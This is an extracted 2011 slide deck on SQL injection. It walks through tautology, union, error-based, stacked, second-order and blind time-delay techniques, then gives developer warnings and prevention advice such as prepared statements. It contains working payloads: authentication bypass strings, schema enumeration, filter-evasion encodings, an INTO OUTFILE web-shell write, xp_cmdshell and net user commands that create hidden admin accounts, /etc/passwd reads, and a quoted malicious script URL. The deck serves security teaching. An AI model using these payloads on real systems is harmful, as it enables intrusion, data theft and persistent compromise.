SlideShare una empresa de Scribd logo
1 de 96
Descargar para leer sin conexión
Not so blind SQL injection
      Francisco G. T. Ribeiro, 2011


                                      1
Roadmap
• Intro

• Anatomy

• Flavors

• Demo

• Developer Warnings

• Prevention and Countermeasures


                                   2
What’s on the news today?

 • Mobile Security

 • Cyber Warfare

 • Security in the cloud




                            3
Weapons of War
 time              weapons

 <XIII         bows and arrows

<1980       cannons and explosives

<2030        keyboards and mice

...future      stones and sticks


                                     4
While you travel in the clouds
in a galaxy close, close by...




                                 5
Somebody has been
having WAY too much fun!
                           6
World Wide Web




                 7
targets on the web

• Web server infrastructure

• Web application

• Web clients




                              8
The Open Web Application
     Security Project




                           9
OWASP Top 10 Web Application
   Security risks for 2010




                               10
risk of SQL Injection in
       web apps

    Exposition     HIGH


     Impact        HIGH

     Ease of
                  AVERAGE
   exploitation


                            11
SQL Injection:
                  WTF?
true-(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),
pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),
pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),
conv(version()*(true
+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi( )-pi()-
pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),
pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(),
pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),
lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),
conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()
+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*
pi (),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()
+pi()),pi()*pi(),pow(pi(),pi()))))) from(pass))),length(pass)))




                                                                                12
SQL Injection:
#01 - Bobby Tables
 SELECT (user,first_name,last_name)
 FROM Students
 WHERE (user == ’$user’);




                                     13
SQL Injection:
 #01 - Bobby Tables
   SELECT (user,first_name,last_name)
   FROM Students
   WHERE (user == ’$user’);

Robert’); DROP Table Students;--




                             I’ll be back...
                                               14
SQL Injection:
 #01 - Bobby Tables
   SELECT (user,first_name,last_name)
   FROM Students
   WHERE (user == ’$user’);

Robert’); DROP Table Students;--



  Prefix

                             I’ll be back...
                                               14
SQL Injection:
 #01 - Bobby Tables
   SELECT (user,first_name,last_name)
   FROM Students
   WHERE (user == ’$user’);

Robert’); DROP Table Students;--



  Prefix            Payload

                             I’ll be back...
                                               14
SQL Injection:
 #01 - Bobby Tables
   SELECT (user,first_name,last_name)
   FROM Students
   WHERE (user == ’$user’);

Robert’); DROP Table Students;--



  Prefix            Payload          Suffix

                             I’ll be back...
                                               14
SQL Injection:
  probing - baby steps
•‘          • 192438901840234
              089129083489023
•“            90412301923

•%          •#

• ;--       • /**/

• -123      •)


                                15
Developer Warning #01
              handle error messages properly
ERROR [TP-Processor14] portal.ExceptionHelper.[]
Aug/11 22:57:06 -
org.jasig.portal.PortalException:
java.sql.SQLException: ORA-00933: SQL command
not properly ended
                                     Database Results Error
                                     Description: Erro de sintaxe na
                                     expressão de consulta '(Titulo LIKE
                                     '%'%' OR Descricao LIKE '%'%')'.
                                     Number: -2142216900 (0x81041E14)
                                     Source: Microsoft JET Database Engine



                                 Received an exception:
                                 Error: SQLException
                                 java.sql.SQLException: ORA-01756:
                                 quoted string not properly
                                 terminated

                                                                             16
What flavors?

• Inband (Reflected)

• Out-of-band

• Inferential (Blind)




                          17
SQL Injection:
            the claws
• groundspeed (Firefox extension)

• Tamper Data (Firefox extension)

• Firebug (Firefox extension)

• Hackbar (Firefox extension)

• Hacker Firefox


                                    18
Developer Warning #02
               Validate your inputs
                            do not trust in code
                         executed in the Client side




My name is Mohammed
JaLaScript and I swear   validation should be done
    I’m innocent!                Server side

                                                       19
SQL Injection:
                the blades
• sqlmap

• sqlbrute

• absinthe

• BSQLBD

• bsqlishell

• sqlninja

• sql power injector



                                20
SQL Injection:
          the shotguns
• burp suite

• Netsparker

• WebInspect

• Acunetix Web Vulnerability Scanner

• Webscarab

• w3af


                                       21
SQL Injection:
            the dojos
• OWASP webgoat

• Hacme series from Foundstone

• Damn Vulnerable Web App

• BadStore

• Multillidae


                                 22
what can you do with
      SQL injection?
• information disclosure   • remote file inclusion

• authentication bypass    • cross site scripting

• execute remote           • DNS hijacking
  commands
                           • massive malware
• data corruption            diffusion

• denial of service        • privilege escalation


                                                    23
Authentication bypass
         #02 - RitsBlog
   In jobs.php:
    
   if ($_GET[j] == "login"){
      if ($blog -> login($_GET[p])){
          $_SESSION[loggedin] = "ok";
          $_SESSION[userID] = $blog -> userID;
          echo "Password found. Loging in...";
          ...
    
   In ritsBlogAdmin.class.php:
    
   function login($password){
      global $db;
      $sql = "select * from users where secretWord = '$password'";
      ...
   }


http://www.site.com/path/blogAdmin/jobs.php?
j=login&p=1'or'1'='1

                                                                     24
Tautology based
       SQL injection
               • ') or '1'='1--
• admin' --
               • ') or ('1'='1--
• admin' #
               • having 1=1
• admin'/*
               • Group By ID having
• ' or 1=1--
                 1=1
• ' or 1=1#
               • a very big number
• ' or 1=1/*
               • ...


                                      25
Authentication bypass
     #03 - CS Cart (cookies)
In /core/user.php:
 

if (fn_get_cookie(AREA_NAME . '_user_id')) {
   $udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login,
   membership_status, membership_id FROM $db_tables[users] WHERE
   user_id='".fn_get_cookie(AREA_NAME . '_user_id')."'
       AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
        fn_define('LOGGED_VIA_COOKIE', true);
}




      Cookie:
      cs_cookies[customer_user_id]=1'/*;


                                                                             26
Malware Inclusion
      #04 - United Nations




<option value="index.asp?OrgID=71">Department
of Peacekeeping Ope<script src=http://
www.nihaorr1.com/1.js></script></option>

                                                27
One browser, many holes




                          28
One browser, many holes
•   JavaScript    •   PDF                  •   SAMBA client

•   Flash         •   Images               •   widgets crazyness

•   Java          •   Shockwave            •   RSS/ATOM

•   Silverlight   •   CSS                  •   RTF

•   ActiveX       •   Realplayer           •   AJAX

•   HTML 4        •   h.264/MPEG/AVI/WMV   •   download manager

•   HTML 5        •   SVG                  •   keychain manager

•   RDF           •   browser extensions   •   file manager

•   WebDAV        •   bookmarklets         •   mail client

•   SOAP          •   FTP/SFTP client      •   XML non sense




                                                                   28
Data corruption
#05 - PBS.org defacement
   (fake Tupac article)




                           29
What
channels
allow SQL
Injection?

             30
What
channels
allow SQL
Injection?

             30
What channels allow
  SQL Injection?




                      31
What channels allow
          SQL Injection?
• HTTP methods GET/POST

• HTTP headers

• AJAX

• JSON

• XML

• SOAP

• Cookies

• ...


                              31
Union based
     #06 - juventud.gov.ar




-7 UNION SELECT 1,2,version(),
4,user(),database(),7,8,9,10,11,12,13


                                        32
Union based
     #06 - juventud.gov.ar




-7 UNION SELECT 1,2,version(),
4,user(),database(),7,8,9,10,11,12,13


                                        32
Union based
#06 - juventud.gov.ar




                        32
Union based
SQL Injection - dirty tricks
getting the number of columns in the selection

   http://example/index.php?id=1   ORDER   BY   1--
   http://example/index.php?id=1   ORDER   BY   2--
   http://example/index.php?id=1   ORDER   BY   3--
   http://example/index.php?id=1   ORDER   BY   4--
   http://example/index.php?id=1   ORDER   BY   5--
   http://example/index.php?id=1   ORDER   BY   6--
   ...




                                                      33
Union based
SQL Injection - dirty tricks
MySQL:
Unknown column 'NUM' in 'order clause'

PostgreSQL:
ORDER BY position NUM is not in select list

Microsoft SQL Server:
The ORDER BY position number NUM is out of range of
the number of items in the select list

Oracle:
ORA-01785: ORDER BY item   must   be   the   number   of   a
SELECT-list expression




                                                               34
Union based
             SQL Injection - dirty tricks
                          testing
                        datatypes
                         string/int
                                               MySQL
 isolate     • 1 UNION select 1,’2’,3,’4’,5,6,7,8
contents

  avoid      • -1 UNION select 1,2,version(),4,user(),database(),7,8
 distinct
selections
             • -1 UNION ALL select
               NULL,NULL,version(),NULL,user(),database(),NULL,NULL

             • -1 UNION ALL select NULL,NULL,NULL,NULL,
               NULL,UNHEX(HEX(version())),NULL,NULL--

                                        avoid             avoid extra
                                      collations          SQL mess
                                      conflicts




                                                                        35
Union based
   SQL Injection - dirty tricks
                          MySQL

• -1 UNION ALL select 1,2,table_name from              avoid
  information_schema.tables                        incompatible
                                                       types

• -1 UNION ALL select NULL,NULL,table_name from
  information_schema.tables

• -1 UNION ALL select 1,2,column_name from
  information_schema.columns limit 0,1             avoid single
                             limit 1,1             record view
                                                    restriction
                             limit 2,1

                                     you may also try
                                      group_concat()
                                     for multiple rows
                                         as a string
                                                                  36
Union based
   SQL Injection - dirty tricks
                          MySQL


• -7 union all select 1,2,concat(username,0x3a,password)from
  admin/*

• -7 union all select 1,2 concat(user,0x3a,pass,0x3a,email)
  from users/*

                                            concat is
                                           your friend




                                                               37
Developer Warning #03
                      filtering and blacklisting are weak
                               SELECT/**/password/**/FROM/**/Members
strings without white spaces                                     string without quotes
                               SELECT+password+FROM+Members

                               SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))

                               SELECT LOAD_FILE(0x633A5C626F6F742E696E69)

                               SeLeCt                             blacklisted words


                               SELSELECTECT
                                                       these count as SELECT too!
                               %53%45%4c%45%43%54

                               %2553%2545%254c%2545%2543%2554


                                                                                         38
Developer Warning #04
        filtering and blacklisting are weak
                              You’re the weak!
• ModSecurity

• PHPIDS

• GreenSQL

• ...                            suggested reading:
                          SQLi filter evasion and obfuscation
                                 by Johannes Dahse,
                               Prague, Czech Republic


                                                               39
Error based
                SQL Injection
                           SQL Server
• http://[site]/page.asp?id=1 or 1=convert(int,(USER))--

  Syntax error converting the nvarchar value '[DB USER]' to a column
  of data type int.

• http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME))--

  Syntax error converting the nvarchar value '[DB NAME]' to a column
  of data type int.

• http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION))--

  Syntax error converting the nvarchar value '[DB VERSION]' to a
  column of data type int.

• http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME))--

  Syntax error converting the nvarchar value '[SERVER NAME]' to a
  column of data type int.


                                                                       40
Error based
     SQL Injection - dirty tricks
avoid quote
  filtering                           SQL Server
 •   http://[site]/page.asp?id=convert(int,(select top 1 name from sysobjects where
     xtype=char(85)))--

     Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data
     type int.

 •   http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects
     where xtype=char(85) and name <>'TABLE-NAME-1'))--
                                                            avoid single record view restriction
     Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data
     type int.

 •   http://[site]/page.asp?id=1  or 1=convert(int,(select top 1 name from
     sysobjects where xtype=char(85) and name <>'TABLE-NAME-1' and name <>'TABLE-
     NAME-2'))--

     Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data
     type int.



                                                                                                   41
Error based
              SQL Injection
                       SQL Server

      knowing DB_NAME and TABLE-NAME...

• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1
  column_name from DBNAME.information_schema.columns where
  table_name='TABLE-NAME-1'))--

  Syntax error converting the nvarchar value '[COLUMN NAME 
  1]' to a column of data type int.


 ...

                                                               42
Stacked Statements
      SQL Injection
    Bypassing authentication and escalating privileges
              (schema/DBMS dependant)
• z'; UPDATE Login SET PasswordHash
  ='0fa5fed80fc582282430f9a79cb2669e',
  Salt = 'Daniels' WHERE login =
  'BigCatAccount'--
                                                   Jack
• y'; UPDATE Login SET ProfileID = 1
  WHERE login = 'MyAccount' --     

• z'; UPDATE Login SET EmailAddr
  ='francisco@ironik.org' WHERE login =
  'BigCatAccount'--
                                                          43
Stacked Statements
   SQL Injection
Bypassing authentication and escalating privileges
          (schema/DBMS dependant)



               suggested reading:
              Advanced SQL Injection
                 by Joe McCray,
               Learn Security Online




                                                     43
Second Order
                SQL Injection
       PHP Basic School                               injection doesn’t occur at
student registration form                             the same time of execution




     ‣ User: Robert’); DROP TABLE Students;--

     ‣ Birthday: 11/02/87

     ‣ Phone: 931231631

     ‣ Email:   bobby’); DROP TABLE google_emails;--@gmail.com



                                                                                   44
Second Order
injection doesn’t occur
here, yet..
                          SQL Injection
                               registration successful




                    user Robert’); DROP TABLE Students;--
                             successfully created!




                                                            45
SQL Injection:
there goes
             #01 - Bobby Tables
                         listing students

              SELECT (user,first_name,last_name)
              FROM Students
              WHERE (user == ’$user’);




                                            told ya.
                                                       46
SQL Injection:
there goes
              #01 - Bobby Tables
                                   listing students

                 SELECT (user,first_name,last_name)
                 FROM Students
                 WHERE (user == ’$user’);




                suggested reading:
   Advanced SQL Injection In SQL Server Applications
             Chris Anley, NGSSoftware
                                                       told ya.
                                                                  46
Remote command
       execution
             (DBMS dependent)

• '; exec master..xp_cmdshell 'ping
  192.168.1.8'--
                 ”<? system($_GET['cmd']); ?>"
 tcpdump icmp

• UNION SELECT
  0x3c3f2073797374656d28245f4745545b
  27636d64275d293b203f3e,2,3 INTO
  OUTFILE "/var/www/cmd.php" --

                                                 47
Remote command
                  execution
                                  (DBMS dependent)




net user [USER] [Pass] /add &
net Localgroup Administrators [USER] /add &
net group "Domain Admins" [USER] /add &
net localgroup "Remote Desktop Users" [USER] /add &
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccounts
UserList" /v [USER] /t REG_DWORD /d 0




                                                                                      47
Remote command
         execution
• Bruteforce the 'sa' password and escalate privileges
  using local or remote server CPU!

• Upload bindshells that will only start on a port allowed
  by the firewall, either inbound or outbound

• Create a VNC server packed as an injectable DLL,
  convert it to a debug script and upload it

• Disable DEP, if needed!

• Start the executable,
  inject the DLL and have fun!

                                                             48
Remote command
         execution
• Bruteforce the 'sa' password and escalate privileges
  using local or remote server CPU!

• Upload bindshells that will only start on a port allowed
  by the firewall, either inbound or outbound

• Create a VNC server packed as an injectable DLL,
  convert it to a debug script and upload it
                                           suggested reading:
• Disable DEP, if needed!            Building the bridge between the
                                           web app and the OS:
• Start the executable,            “GUI access through SQL Injection”,
  inject the DLL and have fun!               Alberto Revelli,
                                      Portcullis Computer Security


                                                                         48
information disclosure/
bypassing authentication
             (DBMS dependent)


• select user,pass into outfile ‘
  attacker_shareoutput.txt’ from
  users;

• select load_file(‘/etc/passwd’)




                                       49
Developer Warning #05
 least privilege, user segregation




I’m root so I MUST be the King!
                                     50
Blind SQL Injection


• (In)visibility testing

• time delay




                           51
Blind SQL Injection


• (In)visibility testing

• time delay




                           51
Blind SQL Injection
             (In)visibility testing


• http://[site]/news.php?id=112

• http://[site]/news.php?id=112 and 1=2

• http://[site]/news.php?id=112 and 1=1

• http://[site]/news.php?id=112 and IF(XXX)




                                              52
Blind SQL Injection
                        Time delay
MySQL v4:
• http://[site]/news.php?id=112; IF(XXX)
  BENCHMARK(5000000,ENCODE('MSG','by 5
  seconds'))--
MySQL v5:
• http://[site]/news.php?id=112; IF(XXX)
  SLEEP(5)--
Microsoft SQL Server:
• http://[site]/news.php?id=112; IF(XXX)
  WAITFOR DELAY ‘0:0:5’--




                                           53
Blind SQL Injection
            getting DB_NAME() length

• ;IF(LEN(DB_NAME())=1) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=2) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=3) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=4) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=5) WAITFOR DELAY '0:0:5'--




                                                  54
Blind SQL Injection
                getting DB_NAME()



                   sql query



;IF(ASCII(substring((DB_NAME()),1,1))=48)
WAITFOR DELAY '0:0:5'--




                                            55
Blind SQL Injection
                            getting DB_NAME()


     SUBSTRING ( value_expression , start_expression , length_expression )
                                    sql query



;IF(ASCII(substring((DB_NAME()),1,1))=48)
WAITFOR DELAY '0:0:5'--




                                                                             55
Blind SQL Injection
                            getting DB_NAME()


     SUBSTRING ( value_expression , start_expression , length_expression )
                                    sql query

                                                                             1
;IF(ASCII(substring((DB_NAME()),1,1))=48)
WAITFOR DELAY '0:0:5'--              =49
                                     =50
                                     =...
                                     =122




                                                                                 55
Blind SQL Injection
                             getting DB_NAME()


      SUBSTRING ( value_expression , start_expression , length_expression )
                                     sql query                                    position in
                                                                                  ASCII table
                                                                  2           1
;IF(ASCII(substring((DB_NAME()),1,1))=48)
WAITFOR DELAY '0:0:5'--                  2 =49
                                         3 =50
                                         . =...
                      position in string N =122

                                                 LEN(DB_NAME())




                                                                                                55
Blind SQL Injection
                      getting DB_NAME()


           optimization 1
                                                    optimization 2

                                                    2                1
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>97)
WAITFOR DELAY '0:0:5'--               2     >110
                                      3     >105
                                      .     =106
                                      N     =...
                                            =109
                                   LEN(DB_NAME())




                                                                         56
Blind SQL Injection
                getting DB_NAME()

                                          splitting target
                                           domain by 2
                                       (think of quicksort)

                                             2                1
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>94)
WAITFOR DELAY '0:0:5'--               2     <110
                                      3     <105
                                      .     =106
                                      N     =...
                                            =109
                                    prioritize most
                                 frequent chunks of
                                  ASCII table in the
                                   target language


                                                                  57
Blind SQL Injection
            listing table names
• ; IF (ASCII(lower(substring((SELECT
  TOP 1 NAME from sysobjects where
  xtype=char(85)),1,1)))=117) WAITFOR
  DELAY '0:0:2'--

• ; IF (ASCII(lower(substring((SELECT
  TOP 1 NAME from sysobjects where
  xtype=char(85) and name<>'TABLE-
  NAME-1'),1,1)))=117) WAITFOR DELAY
  '0:0:2'--
...
                                        58
Blind SQL Injection
            listing table names
• ; IF (ASCII(lower(substring((SELECT
  TOP 1 NAME from sysobjects where
                      2         1
  xtype=char(85)),1,1)))=117) WAITFOR
  DELAY '0:0:2'--

• ; IF (ASCII(lower(substring((SELECT
  TOP 1 NAME from sysobjects where
  xtype=char(85) and name<>'TABLE-
            2        1
  NAME-1'),1,1)))=117) WAITFOR DELAY
  '0:0:2'--
...
                                        58
Blind SQL Injection
  listing column names (or any other table)
• ; IF (ASCII(lower(substring((SELECT TOP 1
  column_name from
  DB-NAME.information_schema.columns
  where table_name='TABLE-NAME'),1,1)))=117)
  WAITFOR DELAY '0:0:5'--

• ; IF (ASCII(lower(substring((SELECT TOP 1
  column_name from
  DB-NAME.information_schema.columns
  where table_name='TABLE-NAME'
  AND column_name <> ‘COLUMN-NAME-1’),
  1,1)))=117) WAITFOR DELAY '0:0:5'--
       ...
                                               59
Blind SQL Injection
          listing column names (or any other table)
        • ; IF (ASCII(lower(substring((SELECT TOP 1
          column_name from
row       DB-NAME.information_schema.columns
                                          2        1
table     where table_name='TABLE-NAME'),1,1)))=117)
          WAITFOR DELAY '0:0:5'--

        • ; IF (ASCII(lower(substring((SELECT TOP 1
          column_name from
          DB-NAME.information_schema.columns
                                             field denial
          where table_name='TABLE-NAME'
                                                   2
          AND column_name <> ‘COLUMN-NAME-1’),
              1
          1,1)))=117) WAITFOR DELAY '0:0:5'--
                ...
                                                           59
Blind SQL Injection
with Regular Expressions
              MySQL - listing table names
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
  TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
  TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
  TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
  TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
  TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^m' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
  TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)




                                                                        60
Blind SQL Injection
with Regular Expressions
      The first character of the table is 'n'.
But are there other table names starting with 'n'?


• index.php?id=1 and 1=(SELECT 1 FROM
  information_schema.tables WHERE
  TABLE_SCHEMA="blind_sqli" AND
  table_name REGEXP '^n' LIMIT 1,1)

                                          that’s our move




                                                            61
Blind SQL Injection
    with Regular Expressions
now on we must change the regular expression like this:
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->
                          FALSE

         you can confirm by testing: '^news$'




                                                            62
Blind SQL Injection
    with Regular Expressions
now on we must change the regular expression like this:
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->
                          FALSE

         you can confirm by testing: '^news$'

                                      suggested reading:
                                 Blind Sql Injection with Regular
                                       Expressions Attack,
                                    R00T_ATI & white_sheep,
                                              IHTeam


                                                                    62
Deep Blind SQL
           Injection
            2 requests -> one byte
DECLARE @x as int; DECLARE @w as char(6);

SET
@x=ASCII(SUBSTRING(master.dbo.fn_varbintohe
xstr(CAST(QUERY"as
varbinary(8000))),POSITION",1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*SECONDS"as char);
WAITFOR DELAY @w


                                              63
Deep Blind SQL
           Injection
             2 requests -> one byte
DECLARE @x as int; DECLARE @w as char(6);

SET
@x=ASCII(SUBSTRING(master.dbo.fn_varbintohe
xstr(CAST(QUERY"as
varbinary(8000))),POSITION",1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*SECONDS"as char);
WAITFOR DELAY @w            suggested reading:
                              Deep Blind SQL Injection,
                                  Ferruh Mavituna,
                             Portcullis Computer Security

                                                            63
Deep Blind SQL
higher frequency
 smaller delays
                        Injection
                                SQL Server
                   2 requests -> one byte (avg <6 secs)
     SELECT CASE
     WHEN ASCII(lower(substring((SQL Query),   Position, 1))) <94
     ! THEN WAITFOR DELAY '0:0:6' --
     WHEN ASCII(lower(substring((SQL Query),   Position, 1))) <100
     ! THEN WAITFOR DELAY '0:0:1' --
     WHEN ASCII(lower(substring((SQL Query),   Position, 1))) <105
     ! THEN WAITFOR DELAY '0:0:2' --
     WHEN ASCII(lower(substring((SQL Query),   Position, 1))) <111
     ! THEN WAITFOR DELAY '0:0:3' --
     WHEN ASCII(lower(substring((SQL Query),   Position, 1))) <117
     ! THEN WAITFOR DELAY '0:0:4' --
     WHEN ASCII(lower(substring((SQL Query),   Position, 1))) <123
     ! THEN WAITFOR DELAY '0:0:5' --


                                                                     64
Deep Blind SQL
              Injection
                     SQL Server
        2 requests -> one byte (avg <6 secs)
            knowing it’s in range 100:104...
SELECT CASE
WHEN ASCII(lower(substring((SQL Query),   Position, 1))) =100
! THEN WAITFOR DELAY '0:0:1' --
WHEN ASCII(lower(substring((SQL Query),   Position, 1))) =101
! THEN WAITFOR DELAY '0:0:2' --
WHEN ASCII(lower(substring((SQL Query),   Position, 1))) =102
! THEN WAITFOR DELAY '0:0:3' --
WHEN ASCII(lower(substring((SQL Query),   Position, 1))) =103
! THEN WAITFOR DELAY '0:0:4' --
WHEN ASCII(lower(substring((SQL Query),   Position, 1))) =104
! THEN WAITFOR DELAY '0:0:5' --


                                                                65
SQL injection
            techniques
• Stacked statements

• Tautology based

• Union based

• Error based

• Second Order

• Blind


                           66
SQL injection
            techniques
• Stacked statements

• Tautology based

• Union based

• Error based
                            suggested reading:
                               SQL Injection,
• Second Order         Classification of SQL Injection
                         Attacking Vector, till 2010,
                                 Wikipedia
• Blind


                                                        66
Developer Warning #06
        ORMs are not bulletproof

Hibernate (HDL):
 Payment payment = (Payment) session.find("from
 com.example.Payment as payment where payment.id = " +
 paymentIds.get(i));




                    injectable!



                                                         67
Developer Warning #07
   Keep it simple, not stupid




                                68
SQL injection:
      countermeasures
• avoid internal details
  on error reporting

• Use Web                  • segregate users
  Applicational
  Firewall                 • use No-SQL

• Limit web server/
  database perms


                                               69
Developer Warning #08
      when less is more




                          70
How to prevent SQL
     Injection attacks?
• Sanitize the input

• input whitelisting

• Use prepared statements

• Use stored procedures




                            71
Prepared Statements aka
     Parameterized queries (Java)

    String sqlquery =
    "select * from Students where FirstName " + "in(?,?,?)";
      pst = con.prepareStatement(sqlquery);

     pst.setString(1, "John");
     pst.setString(2, "Achmed");
     pst.setString(3, "Gremlin");

    rs = pst.executeQuery();




                                                               72
References
• SQLi filter evasion and obfuscation by Johannes Dahse, Prague, Czech
  Republic

• Advanced SQL Injection by Joe McCray, Learn Security Online

• Advanced SQL Injection In SQL Server Applications, Chris Anley,
  NGSSoftware

• Building the bridge between the web app and the “GUI access through
  SQL Injection”,Alberto Revelli, Portcullis Computer Security

• Blind Sql Injection with Regular Expressions Attack, R00T_ATI &
  white_sheep, IHTeam

• Deep Blind SQL Injection, Ferruh Mavituna, Portcullis Computer Security




                                                                            73
References
• SQL Injection, Classification of SQL Injection Attacking
  Vector, till 2010, Wikipedia

• www.evilsql.com

• Replaying with Blind SQL Injection, Chema Alonso and
  Palako

• Haxxor Security: Speeding up Blind SQL Injection using
  Conditional errors in MySQL

• The Web Application Hackers Handbook, Discovering and
  Exploiting Security Flaws, Wiley



                                                            74
Thank you
childish wont-let-go nickname: blackthorne

   blackthorne (geek)
   bthorne_daily (social)

   francisco@ironik.org
   (PGP key: 0xBDD20CF1)

   http://www.digitalloft.org
   (homepage)


                                             75

Más contenido relacionado

La actualidad más candente

Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENG
Dmitry Evteev
 

La actualidad más candente (20)

Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Data Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksData Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection Attacks
 
Expanding the control over the operating system from the database
Expanding the control over the operating system from the databaseExpanding the control over the operating system from the database
Expanding the control over the operating system from the database
 
Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENG
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
SQL injection: Not Only AND 1=1 (updated)
SQL injection: Not Only AND 1=1 (updated)SQL injection: Not Only AND 1=1 (updated)
SQL injection: Not Only AND 1=1 (updated)
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Whatis SQL Injection.pptx
Whatis SQL Injection.pptxWhatis SQL Injection.pptx
Whatis SQL Injection.pptx
 
Web application security
Web application securityWeb application security
Web application security
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVC
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmap
 
seminar report on Sql injection
seminar report on Sql injectionseminar report on Sql injection
seminar report on Sql injection
 
Secure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injection
 

Similar a Not so blind SQL Injection

Security on Rails
Security on RailsSecurity on Rails
Security on Rails
David Paluy
 
Ein Stall voller Trüffelschweine - (PHP-)Profiling-Tools im Überblick
Ein Stall voller Trüffelschweine - (PHP-)Profiling-Tools im ÜberblickEin Stall voller Trüffelschweine - (PHP-)Profiling-Tools im Überblick
Ein Stall voller Trüffelschweine - (PHP-)Profiling-Tools im Überblick
renebruns
 

Similar a Not so blind SQL Injection (20)

Api days 2018 - API Security by Sqreen
Api days 2018 - API Security by SqreenApi days 2018 - API Security by Sqreen
Api days 2018 - API Security by Sqreen
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
 
Hack through Injections
Hack through InjectionsHack through Injections
Hack through Injections
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
SQL Injection Defense in Python
SQL Injection Defense in PythonSQL Injection Defense in Python
SQL Injection Defense in Python
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kim
 
OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacks
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
Crash Course In Brain Surgery
Crash Course In Brain SurgeryCrash Course In Brain Surgery
Crash Course In Brain Surgery
 
Web開発の技術選び、 好き嫌いでやってませんか 〜技術選びで注目すべきポイントとは〜
